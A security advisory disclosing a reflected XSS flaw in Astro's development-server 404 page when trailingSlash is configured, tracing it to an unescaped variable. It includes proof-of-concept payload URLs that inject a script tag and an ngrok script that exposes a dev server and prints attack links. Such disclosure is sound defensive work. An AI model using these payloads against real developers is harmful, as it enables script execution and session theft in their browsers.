GHSA-w2vj-39qv-7vh7

## Summary A Reflected Cross-Site Scripting (XSS) vulnerability exists in Astro's development server error pages when the `trailingSlash` configuration option is used. An attacker can inject arbitrary JavaScript code that executes in the victim's browser context by crafting a malicious URL. While this vulnerability only affects the development server and not production builds, it could be exploited to compromise developer environments through social engineering or malicious links. ## Details ### Vulnerability Location https://github.com/withastro/astro/blob/5bc37fd5cade62f753aef66efdf40f982379029a/packages/astro/src/template/4xx.ts#L133-L149 ### Root Cause The vulnerability was introduced in commit `536175528` (PR #12994) , as part of a feature to "redirect trailing slashes on on-demand rendered pages." The feature added a helpful 404 error page in development mode to alert developers of trailing slash mismatches. **Issue**: The `corrected` variable, which is derived from the user-controlled `pathname` parameter, is directly interpolated into the HTML without proper escaping. While the `pathname` variable itself is escaped elsewhere in the same file (line 114: `escape(pathname)`), the `corrected` variable is not sanitized before being inserted into both the `href` attribute and the link text. ### Attack Vector When a developer has configured `trailingSlash` to `'always'` or `'never'` and visits a URL with a mismatched trailing slash, the development server returns a 404 page containing the vulnerable template. An attacker can craft a URL with JavaScript payloads that will be executed when the page is rendered. ## PoC ### Local Testing (localhost) Basic vulnerability verification in local development environment <details> <summary>Show details</summary> `astro.config.mjs`: ```javascript import { defineConfig } from 'astro/config'; export default defineConfig({ trailingSlash: 'never', // or 'always' server: { port: 3000, host: true } }); ``` `package.json`: ```json { "name": "astro-xss-poc-victim", "version": "0.1.0", "scripts": { "dev": "astro dev" }, "dependencies": { "astro": "5.15.5" } } ``` Start the development server: ```bash npm install npm run dev ``` Access the following malicious URL depending on your configuration: **For `trailingSlash: 'never'`** (requires trailing slash): ``` http://localhost:3000/"></code><script>alert(document.domain)</script><!--/ ``` **For `trailingSlash: 'always'`** (no trailing slash): ``` http://localhost:3000/"></code><script>alert(document.domain)</script><!-- ``` When accessing the malicious URL: 1. The development server returns a 404 page due to trailing slash mismatch 2. The JavaScript payload (`alert(document.domain)`) executes in the browser 3. An alert dialog appears, demonstrating arbitrary code execution </details> ### Remote Testing (ngrok) Reproduce realistic attack scenario via external malicious link <details> <summary>Show details</summary> Prerequisites: ngrok account and authtoken configured (`ngrok config add-authtoken <key>`) Setup and Execution: ```bash #!/bin/bash set -e mkdir -p logs npm i npm run dev > ./logs/victim.log 2>&1 & ngrok http 3000 > ./logs/ngrok.log 2>&1 & sleep 3 NGROK_URL=$(curl -s http://localhost:4040/api/tunnels | grep -o '"public_url":"https://[^"]*' | head -1 | cut -d'"' -f4) echo "" echo "=== Attack URLs ===" echo "" echo "For trailingSlash: 'never' (requires trailing slash):" echo "${NGROK_URL}/\"></code><script>alert(document.domain)</script><!--/" echo "" echo "For trailingSlash: 'always' (no trailing slash):" echo "${NGROK_URL}/\"></code><script>alert(document.domain)</script><!--" echo "" wait ``` When a remote user accesses either of the generated attack URLs: 1. The request is tunneled through ngrok to the local development server 2. The development server returns a 404 page due to trailing slash mismatch 3. The JavaScript payload (`alert(document.domain)`) executes in the user's browser Both URL patterns work depending on your `trailingSlash` configuration ('never' or 'always'). </details> ## Impact This only affects the **development server**. Risk depends on how and where the dev server is exposed. ### Security impact * **Developer environment compromise**: Visiting a crafted URL can run arbitrary JS in the developer's browser. * **Session hijacking**: Active developer sessions can be stolen if services are open in the browser. * **Local resource access**: JS may probe `localhost` endpoints or dev tools depending on browser policies. * **Supply-chain risk**: Malicious packages or CI that start dev servers can widen exposure. ### Attack scenarios * **Social engineering**: Malicious link sent to a developer triggers the XSS when opened. * **Malicious documentation**: Attack URLs embedded in issues, PRs, chat, or docs. * **Dependency/CI abuse**: Packages or automation that spawn public dev servers expose many targets.